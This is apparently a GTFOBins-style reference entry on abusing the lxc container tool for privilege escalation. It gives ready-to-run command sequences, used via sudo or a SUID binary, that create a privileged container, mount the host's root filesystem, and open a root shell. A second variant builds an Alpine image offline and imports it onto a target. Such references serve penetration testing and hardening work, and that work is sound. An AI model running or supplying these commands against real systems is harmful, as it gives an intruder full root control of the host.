Shell

This executable can spawn an interactive system shell.
  1. CommentThe image (e.g., ubuntu:16.04) must be present already, otherwise it will be downloaded.
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lxc init ubuntu:16.04 x -c security.privileged=true
    lxc config device add x x disk source=/ path=/mnt/ recursive=true
    lxc start x
    lxc exec x /bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    lxc init ubuntu:16.04 x -c security.privileged=true
    lxc config device add x x disk source=/ path=/mnt/ recursive=true
    lxc start x
    lxc exec x /bin/sh
  2. Comment

    This requires steps to be run offline, then the resulting image must be uploaded to target. Build the local image with lxd-alpine-builder:

    git clone https://github.com/saghul/lxd-alpine-builder
    cd lxd-alpine-builder
    sudo ./build-alpine -a i686
    
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lxc image import ./alpine*.tar.gz --alias x
    lxc init x x -c security.privileged=true
    lxc config device add x x disk source=/ path=/mnt/ recursive=true
    lxc start x
    lxc exec x /bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    lxc image import ./alpine*.tar.gz --alias x
    lxc init x x -c security.privileged=true
    lxc config device add x x disk source=/ path=/mnt/ recursive=true
    lxc start x
    lxc exec x /bin/sh